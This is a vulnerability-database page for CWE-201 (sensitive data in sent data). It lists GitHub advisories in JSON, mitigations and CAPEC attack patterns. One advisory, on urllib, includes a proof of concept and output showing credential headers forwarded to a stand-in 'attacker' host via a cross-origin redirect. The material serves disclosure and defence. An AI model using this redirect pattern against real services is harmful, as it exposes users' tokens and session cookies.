CWE-201
AllowedInsertion of Sensitive Information Into Sent Data
Abstraction: Base · Status: Draft
The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
750 vulnerabilities reference this CWE, most recent first.
GHSA-H9QJ-G7X5-CV2F
Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2026-04-01 18:36Insertion of Sensitive Information Into Sent Data vulnerability in iberezansky 3D FlipBook – PDF Flipbook Viewer, Flipbook Image Gallery allows Retrieve Embedded Sensitive Data. This issue affects 3D FlipBook – PDF Flipbook Viewer, Flipbook Image Gallery: from n/a through 1.16.16.
{
"affected": [],
"aliases": [
"CVE-2025-58226"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-22T19:16:07Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in iberezansky 3D FlipBook \u2013 PDF Flipbook Viewer, Flipbook Image Gallery allows Retrieve Embedded Sensitive Data. This issue affects 3D FlipBook \u2013 PDF Flipbook Viewer, Flipbook Image Gallery: from n/a through 1.16.16.",
"id": "GHSA-h9qj-g7x5-cv2f",
"modified": "2026-04-01T18:36:14Z",
"published": "2025-09-22T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58226"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/interactive-3d-flipbook-powered-physics-engine/vulnerability/wordpress-3d-flipbook-pdf-flipbook-viewer-flipbook-image-gallery-plugin-1-16-16-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HCG3-XM9V-8XQ6
Vulnerability from github – Published: 2025-12-31 15:30 – Updated: 2026-04-01 18:36Insertion of Sensitive Information Into Sent Data vulnerability in Inkthemescom Black Rider allows Retrieve Embedded Sensitive Data.This issue affects Black Rider: from n/a through 1.2.3.
{
"affected": [],
"aliases": [
"CVE-2025-59003"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-31T14:15:51Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Inkthemescom Black Rider allows Retrieve Embedded Sensitive Data.This issue affects Black Rider: from n/a through 1.2.3.",
"id": "GHSA-hcg3-xm9v-8xq6",
"modified": "2026-04-01T18:36:26Z",
"published": "2025-12-31T15:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59003"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Theme/colorway/vulnerability/wordpress-colorway-theme-4-2-3-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/black-rider/vulnerability/wordpress-black-rider-theme-1-2-3-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/wordpress/theme/black-rider/vulnerability/wordpress-black-rider-theme-1-2-3-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HG7R-CHW9-HCV4
Vulnerability from github – Published: 2025-04-11 04:19 – Updated: 2025-04-11 04:19Dell PowerProtect Cyber Recovery, versions prior to 19.18.0.2, contains an Insertion of Sensitive Information Into Sent Data vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.
{
"affected": [],
"aliases": [
"CVE-2025-26335"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-11T02:15:19Z",
"severity": "MODERATE"
},
"details": "Dell PowerProtect Cyber Recovery, versions prior to 19.18.0.2, contains an Insertion of Sensitive Information Into Sent Data vulnerability. A high privileged attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.",
"id": "GHSA-hg7r-chw9-hcv4",
"modified": "2025-04-11T04:19:27Z",
"published": "2025-04-11T04:19:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26335"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000306005/dsa-2025-113-security-update-for-dell-powerprotect-cyber-recovery"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HHCX-X49F-JR9V
Vulnerability from github – Published: 2025-10-22 15:31 – Updated: 2026-01-20 15:31Insertion of Sensitive Information Into Sent Data vulnerability in inkthemes WP Gmail SMTP wp-gmail-smtp allows Retrieve Embedded Sensitive Data.This issue affects WP Gmail SMTP: from n/a through <= 1.0.7.
{
"affected": [],
"aliases": [
"CVE-2025-53232"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T15:15:48Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in inkthemes WP Gmail SMTP wp-gmail-smtp allows Retrieve Embedded Sensitive Data.This issue affects WP Gmail SMTP: from n/a through \u003c= 1.0.7.",
"id": "GHSA-hhcx-x49f-jr9v",
"modified": "2026-01-20T15:31:26Z",
"published": "2025-10-22T15:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53232"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-gmail-smtp/vulnerability/wordpress-wp-gmail-smtp-plugin-1-0-7-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-gmail-smtp/vulnerability/wordpress-wp-gmail-smtp-plugin-1-0-7-sensitive-data-exposure-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-gmail-smtp/vulnerability/wordpress-wp-gmail-smtp-plugin-1-0-7-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HJP2-9XX7-V66X
Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-13 21:30Insertion of Sensitive Information Into Sent Data vulnerability in stmcan RT-Theme 18 | Extensions rt18-extensions allows Retrieve Embedded Sensitive Data.This issue affects RT-Theme 18 | Extensions: from n/a through <= 2.5.
{
"affected": [],
"aliases": [
"CVE-2026-39711"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T09:16:44Z",
"severity": "MODERATE"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in stmcan RT-Theme 18 | Extensions rt18-extensions allows Retrieve Embedded Sensitive Data.This issue affects RT-Theme 18 | Extensions: from n/a through \u003c= 2.5.",
"id": "GHSA-hjp2-9xx7-v66x",
"modified": "2026-04-13T21:30:36Z",
"published": "2026-04-08T09:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39711"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/rt18-extensions/vulnerability/wordpress-rt-theme-18-extensions-plugin-2-5-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HQ3H-G68C-HP78
Vulnerability from github – Published: 2026-08-25 16:19 – Updated: 2026-08-25 16:19Summary
urllib supports redirect-following through followRedirect, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a different origin, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as Authorization, Cookie, Proxy-Authorization, and custom auth headers (x-api-key, x-auth-token, x-access-token).
If the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.
Affected behavior
Confirmed against urllib v4.9.0. The relevant code is in #requestInternal (src/HttpClient.ts:639-656):
// https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections
if (RedirectStatusCodes.includes(res.statusCode) && maxRedirects > 0 && requestContext.redirects < maxRedirects) {
if (res.headers.location) {
requestContext.redirects++;
const nextUrl = new URL(res.headers.location, requestUrl.href);
// Ensure the response is consumed
await response.body.arrayBuffer();
debug(
'Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s',
requestId,
res.status,
res.headers,
res.timing,
nextUrl.href,
);
return await this.#requestInternal(nextUrl.href, options, requestContext);
}
}
The recursive call this.#requestInternal(nextUrl.href, options, requestContext) reuses the original options object. If the caller supplied credential-bearing headers in options.headers, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.
Redirect-header handling context
The CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up Host during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.
Proof of Concept: 3-container topology
The reproduction uses three separate containers (partner, attacker, client) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a localhost vs 127.0.0.1 same-host case.
[client container] [partner container] [attacker container]
hostname: client hostname: partner hostname: attacker
port: 3001 port: 3002
urllib v4.9.0
│
│ GET http://partner:3001/start
│ + 6 credential-bearing headers
↓
302 Location:
http://attacker:3002/captured
│
│ urllib follows redirect
│ → DIFFERENT ORIGIN
│ (different hostname and port)
│ → all 6 headers preserved
↓
headers logged
inside attacker
container
The origin tuple is (scheme, host, port):
- source origin:
http://partner:3001 - destination origin:
http://attacker:3002
The host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.
Client invocation (client/poc.mjs):
import urllib from 'urllib' // v4.9.0
await urllib.request('http://partner:3001/start', {
followRedirect: true,
maxRedirects: 5,
headers: {
'Authorization': 'Bearer LIVE-AUTH-3CONTAINER',
'Cookie': 'session=LIVE-COOKIE-3CONTAINER',
'Proxy-Authorization': 'Bearer proxy-LIVE-3CONTAINER',
'x-api-key': 'sk-LIVE-3CONTAINER-x123',
'x-auth-token': 'auth-LIVE-3CONTAINER-y456',
'x-access-token': 'access-LIVE-3CONTAINER-z789',
},
})
Observed result
urllib 4.9.0, Node.js 22.22.2, linux/arm64:
[attacker] CAPTURED HEADERS:
"authorization": "Bearer LIVE-AUTH-3CONTAINER"
"cookie": "session=LIVE-COOKIE-3CONTAINER"
"proxy-authorization": "Bearer proxy-LIVE-3CONTAINER"
"x-api-key": "sk-LIVE-3CONTAINER-x123"
"x-auth-token": "auth-LIVE-3CONTAINER-y456"
"x-access-token": "access-LIVE-3CONTAINER-z789"
"user-agent": "node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)"
LEAK RATE: 6/6
The user-agent value confirms that the redirected request was sent by urllib v4.9.0.
Independent reproduction: multi-library comparison
A separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:
- same
partner:3001 → attacker:3002redirect; - same six credential-bearing headers;
- same RFC 6454 origin boundary.
The results were deterministic across runs:
| Library | Leak rate | Headers stripped on cross-origin redirect |
|---|---|---|
| undici 6.21.0 | 3/6 | authorization, cookie, proxy-authorization |
| needle 3.5.0 | 3/6 | authorization, cookie, proxy-authorization |
| node-fetch 3.3.2 | 4/6 | authorization, cookie |
| superagent 10.3.0 | 4/6 | authorization, cookie |
| @hapi/wreck 18.1.0 | 4/6 | authorization, cookie |
| request 2.88.2 | 5/6 | authorization |
| urllib 4.9.0 | 6/6 | none |
urllib was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as x-api-key, x-auth-token, and x-access-token are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as Authorization, Cookie, and Proxy-Authorization.
The reproduction harness is small and can be shared if useful.
Impact
This affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.
1. Application sends an authenticated request:
GET https://api.partner.example/data
Authorization: Bearer <token>
Cookie: session=<session-id>
2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:
302 Location: https://attacker.example/captured
3. urllib follows the redirect and sends the original Authorization and Cookie headers
to attacker.example.
This exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.
This requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib's call site.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.9.0"
},
"package": {
"ecosystem": "npm",
"name": "urllib"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "4.9.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.44.0"
},
"package": {
"ecosystem": "npm",
"name": "urllib"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.44.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55553"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-201",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T16:19:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nurllib supports redirect-following through `followRedirect`, which is expected behavior for an HTTP client. The issue is that, when following a redirect to a **different origin**, urllib preserves the caller-supplied request headers verbatim, including credential-bearing headers such as `Authorization`, `Cookie`, `Proxy-Authorization`, and custom auth headers (`x-api-key`, `x-auth-token`, `x-access-token`).\n\nIf the redirect target is attacker-controlled or outside the trust boundary of the original target, credentials intended for the original origin can be delivered to the redirected origin. In a local multi-library reproduction, urllib v4.9.0 was the only tested client that stripped no headers on cross-origin redirect.\n\n## Affected behavior\n\nConfirmed against urllib v4.9.0. The relevant code is in `#requestInternal` ([`src/HttpClient.ts:639-656`](https://github.com/node-modules/urllib/blob/master/src/HttpClient.ts#L639-L656)):\n\n```ts\n // https://developer.mozilla.org/en-US/docs/Web/HTTP/Redirections\n if (RedirectStatusCodes.includes(res.statusCode) \u0026\u0026 maxRedirects \u003e 0 \u0026\u0026 requestContext.redirects \u003c maxRedirects) {\n if (res.headers.location) {\n requestContext.redirects++;\n const nextUrl = new URL(res.headers.location, requestUrl.href);\n // Ensure the response is consumed\n await response.body.arrayBuffer();\n debug(\n \u0027Request#%d got response, status: %s, headers: %j, timing: %j, redirect to %s\u0027,\n requestId,\n res.status,\n res.headers,\n res.timing,\n nextUrl.href,\n );\n return await this.#requestInternal(nextUrl.href, options, requestContext);\n }\n }\n```\n\nThe recursive call `this.#requestInternal(nextUrl.href, options, requestContext)` reuses the original `options` object. If the caller supplied credential-bearing headers in `options.headers`, those headers are reused for the redirected request, regardless of whether the redirect target shares the original origin.\n\n## Redirect-header handling context\n\nThe CHANGELOG suggests that redirect-related header handling has been considered before, including changes around preserving or cleaning up `Host` during redirects. Given that context, sensitive-header stripping may be an unintentional gap rather than an explicit policy decision.\n\n## Proof of Concept: 3-container topology\n\nThe reproduction uses three separate containers (`partner`, `attacker`, `client`) connected over a Podman bridge network. Each container has its own hostname, port, and process, so the redirect crosses a clear origin boundary. This is not a `localhost` vs `127.0.0.1` same-host case.\n\n```text\n[client container] [partner container] [attacker container]\nhostname: client hostname: partner hostname: attacker\n port: 3001 port: 3002\n urllib v4.9.0\n \u2502\n \u2502 GET http://partner:3001/start\n \u2502 + 6 credential-bearing headers\n \u2193\n 302 Location:\n http://attacker:3002/captured\n \u2502\n \u2502 urllib follows redirect\n \u2502 \u2192 DIFFERENT ORIGIN\n \u2502 (different hostname and port)\n \u2502 \u2192 all 6 headers preserved\n \u2193\n headers logged\n inside attacker\n container\n```\n\nThe origin tuple is `(scheme, host, port)`:\n\n- source origin: `http://partner:3001`\n- destination origin: `http://attacker:3002`\n\nThe host and port both differ, so the redirect target is a different URL origin. The headers are logged in a separate process inside a separate container.\n\n**Client invocation** (`client/poc.mjs`):\n\n```javascript\nimport urllib from \u0027urllib\u0027 // v4.9.0\n\nawait urllib.request(\u0027http://partner:3001/start\u0027, {\n followRedirect: true,\n maxRedirects: 5,\n headers: {\n \u0027Authorization\u0027: \u0027Bearer LIVE-AUTH-3CONTAINER\u0027,\n \u0027Cookie\u0027: \u0027session=LIVE-COOKIE-3CONTAINER\u0027,\n \u0027Proxy-Authorization\u0027: \u0027Bearer proxy-LIVE-3CONTAINER\u0027,\n \u0027x-api-key\u0027: \u0027sk-LIVE-3CONTAINER-x123\u0027,\n \u0027x-auth-token\u0027: \u0027auth-LIVE-3CONTAINER-y456\u0027,\n \u0027x-access-token\u0027: \u0027access-LIVE-3CONTAINER-z789\u0027,\n },\n})\n```\n\n**Observed result** \nurllib 4.9.0, Node.js 22.22.2, linux/arm64:\n\n```text\n[attacker] CAPTURED HEADERS:\n \"authorization\": \"Bearer LIVE-AUTH-3CONTAINER\"\n \"cookie\": \"session=LIVE-COOKIE-3CONTAINER\"\n \"proxy-authorization\": \"Bearer proxy-LIVE-3CONTAINER\"\n \"x-api-key\": \"sk-LIVE-3CONTAINER-x123\"\n \"x-auth-token\": \"auth-LIVE-3CONTAINER-y456\"\n \"x-access-token\": \"access-LIVE-3CONTAINER-z789\"\n \"user-agent\": \"node-urllib/4.9.0 Node.js/22.22.2 (linux; arm64)\"\n\nLEAK RATE: 6/6\n```\n\nThe `user-agent` value confirms that the redirected request was sent by urllib v4.9.0.\n\n## Independent reproduction: multi-library comparison\n\nA separate local harness tested the same cross-origin redirect topology against multiple Node.js HTTP clients:\n\n- same `partner:3001 \u2192 attacker:3002` redirect;\n- same six credential-bearing headers;\n- same RFC 6454 origin boundary.\n\nThe results were deterministic across runs:\n\n| Library | Leak rate | Headers stripped on cross-origin redirect |\n|---|---:|---|\n| undici 6.21.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| needle 3.5.0 | 3/6 | `authorization`, `cookie`, `proxy-authorization` |\n| node-fetch 3.3.2 | 4/6 | `authorization`, `cookie` |\n| superagent 10.3.0 | 4/6 | `authorization`, `cookie` |\n| @hapi/wreck 18.1.0 | 4/6 | `authorization`, `cookie` |\n| request 2.88.2 | 5/6 | `authorization` |\n| **urllib 4.9.0** | **6/6** | **none** |\n\n`urllib` was the only tested library that stripped no headers on cross-origin redirect. Custom auth headers such as `x-api-key`, `x-auth-token`, and `x-access-token` are an ecosystem-wide gap in this comparison. The urllib-specific issue is the absence of any strip step for standard credential-bearing headers such as `Authorization`, `Cookie`, and `Proxy-Authorization`.\n\nThe reproduction harness is small and can be shared if useful.\n\n## Impact\n\nThis affects Node.js applications that use urllib to make authenticated HTTP requests while allowing redirects to be followed automatically.\n\n```text\n1. Application sends an authenticated request:\n GET https://api.partner.example/data\n Authorization: Bearer \u003ctoken\u003e\n Cookie: session=\u003csession-id\u003e\n\n2. The partner endpoint, a compromised intermediary, or a misconfigured CDN returns:\n 302 Location: https://attacker.example/captured\n\n3. urllib follows the redirect and sends the original Authorization and Cookie headers\n to attacker.example.\n```\n\nThis exposes credentials to an origin that was not the intended recipient. Depending on the credential type and server-side validation, the leaked credentials may be reusable against the original partner API or related services.\n\nThis requires no user interaction. Realistic triggers include compromised partner subdomains, DNS hijacking, malicious partner endpoints during onboarding, internal services redirecting across trust boundaries, or an open redirect upstream of urllib\u0027s call site.",
"id": "GHSA-hq3h-g68c-hp78",
"modified": "2026-08-25T16:19:32Z",
"published": "2026-08-25T16:19:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/security/advisories/GHSA-hq3h-g68c-hp78"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/pull/812"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/pull/813"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/commit/7c86c465883ebd3dea5109c87d7bbe3b00960a16"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/commit/811a8d56e64e540bf6a19bf8b3737692f05d5c46"
},
{
"type": "PACKAGE",
"url": "https://github.com/node-modules/urllib"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/releases/tag/v2.44.1"
},
{
"type": "WEB",
"url": "https://github.com/node-modules/urllib/releases/tag/v4.9.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "urllib\u0027s cross-origin redirects preserve credential-bearing request headers, leading to potential credential leakage"
}
GHSA-J2JH-VV93-JWXF
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Subscriber Sensitive Data Exposure in PushEngage – Web Push Notifications, eCommerce Automation & Chat Widget <= 4.2.3 versions.
{
"affected": [],
"aliases": [
"CVE-2026-52698"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T13:20:49Z",
"severity": "HIGH"
},
"details": "Subscriber Sensitive Data Exposure in PushEngage \u2013 Web Push Notifications, eCommerce Automation \u0026amp; Chat Widget \u003c= 4.2.3 versions.",
"id": "GHSA-j2jh-vv93-jwxf",
"modified": "2026-06-17T18:35:52Z",
"published": "2026-06-17T18:35:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52698"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/pushengage/vulnerability/wordpress-pushengage-web-push-notifications-ecommerce-automation-chat-widget-plugin-4-2-3-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-J3C3-JQMQ-4785
Vulnerability from github – Published: 2026-07-20 21:31 – Updated: 2026-08-14 15:32VSee Clinic 7.1.26 and VSee Clinic API 1.3.0 exposes cleartext SFTP credentials in the HTTP responses of three unauthenticated endpoints. The credentials are present in these responses only when SFTP connections have been configured within the application. No authentication is required to retrieve these credentials. An unauthenticated remote attacker who observes any of these HTTP responses on an instance where SFTP is configured can obtain the credentials and use them to access the associated SFTP server.
{
"affected": [],
"aliases": [
"CVE-2026-13380"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T21:16:46Z",
"severity": "CRITICAL"
},
"details": "VSee Clinic 7.1.26 and VSee Clinic API 1.3.0 exposes cleartext SFTP credentials in the HTTP responses of three unauthenticated endpoints. The credentials are present in these responses only when SFTP connections have been configured within the application. No authentication is required to retrieve these credentials. An unauthenticated remote attacker who observes any of these HTTP responses on an instance where SFTP is configured can obtain the credentials and use them to access the associated SFTP server.",
"id": "GHSA-j3c3-jqmq-4785",
"modified": "2026-08-14T15:32:43Z",
"published": "2026-07-20T21:31:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13380"
},
{
"type": "WEB",
"url": "https://labs.sra.io/posts/vseeclinic"
},
{
"type": "WEB",
"url": "https://vsee.com/clinic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-J4C9-43FX-7CG7
Vulnerability from github – Published: 2025-10-22 15:31 – Updated: 2026-01-20 15:31Insertion of Sensitive Information Into Sent Data vulnerability in Saad Iqbal AppExperts appexperts allows Retrieve Embedded Sensitive Data.This issue affects AppExperts: from n/a through <= 1.4.5.
{
"affected": [],
"aliases": [
"CVE-2025-53218"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-22T15:15:48Z",
"severity": "HIGH"
},
"details": "Insertion of Sensitive Information Into Sent Data vulnerability in Saad Iqbal AppExperts appexperts allows Retrieve Embedded Sensitive Data.This issue affects AppExperts: from n/a through \u003c= 1.4.5.",
"id": "GHSA-j4c9-43fx-7cg7",
"modified": "2026-01-20T15:31:26Z",
"published": "2025-10-22T15:31:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53218"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/appexperts/vulnerability/wordpress-appexperts-plugin-1-4-5-sensitive-data-exposure-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/appexperts/vulnerability/wordpress-appexperts-plugin-1-4-5-sensitive-data-exposure-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/appexperts/vulnerability/wordpress-appexperts-plugin-1-4-5-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-J4CC-7JWR-R3P2
Vulnerability from github – Published: 2026-07-02 12:30 – Updated: 2026-07-02 12:30Subscriber Sensitive Data Exposure in Corpkit <= 1.0.5 versions.
{
"affected": [],
"aliases": [
"CVE-2025-69132"
],
"database_specific": {
"cwe_ids": [
"CWE-201"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-02T12:16:53Z",
"severity": "MODERATE"
},
"details": "Subscriber Sensitive Data Exposure in Corpkit \u003c= 1.0.5 versions.",
"id": "GHSA-j4cc-7jwr-r3p2",
"modified": "2026-07-02T12:30:59Z",
"published": "2026-07-02T12:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69132"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/corpkit/vulnerability/wordpress-corpkit-theme-1-0-5-sensitive-data-exposure-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.
Mitigation
Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.
Mitigation
Setup default error messages so that unexpected errors do not disclose sensitive information.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-12: Choosing Message Identifier
This pattern of attack is defined by the selection of messages distributed via multicast or public information channels that are intended for another client by determining the parameter value assigned to that client. This attack allows the adversary to gain access to potentially privileged information, and to possibly perpetrate other attacks through the distribution means by impersonation. If the channel/message being manipulated is an input rather than output mechanism for the system, (such as a command bus), this style of attack could be used to change the adversary's identifier to more a privileged one.
CAPEC-217: Exploiting Incorrectly Configured SSL/TLS
An adversary takes advantage of incorrectly configured SSL/TLS communications that enables access to data intended to be encrypted. The adversary may also use this type of attack to inject commands or other traffic into the encrypted stream to cause compromise of either the client or server.
CAPEC-612: WiFi MAC Address Tracking
In this attack scenario, the attacker passively listens for WiFi messages and logs the associated Media Access Control (MAC) addresses. These addresses are intended to be unique to each wireless device (although they can be configured and changed by software). Once the attacker is able to associate a MAC address with a particular user or set of users (for example, when attending a public event), the attacker can then scan for that MAC address to track that user in the future.
CAPEC-613: WiFi SSID Tracking
In this attack scenario, the attacker passively listens for WiFi management frame messages containing the Service Set Identifier (SSID) for the WiFi network. These messages are frequently transmitted by WiFi access points (e.g., the retransmission device) as well as by clients that are accessing the network (e.g., the handset/mobile device). Once the attacker is able to associate an SSID with a particular user or set of users (for example, when attending a public event), the attacker can then scan for this SSID to track that user in the future.
CAPEC-618: Cellular Broadcast Message Request
In this attack scenario, the attacker uses knowledge of the target’s mobile phone number (i.e., the number associated with the SIM used in the retransmission device) to cause the cellular network to send broadcast messages to alert the mobile device. Since the network knows which cell tower the target’s mobile device is attached to, the broadcast messages are only sent in the Location Area Code (LAC) where the target is currently located. By triggering the cellular broadcast message and then listening for the presence or absence of that message, an attacker could verify that the target is in (or not in) a given location.
CAPEC-619: Signal Strength Tracking
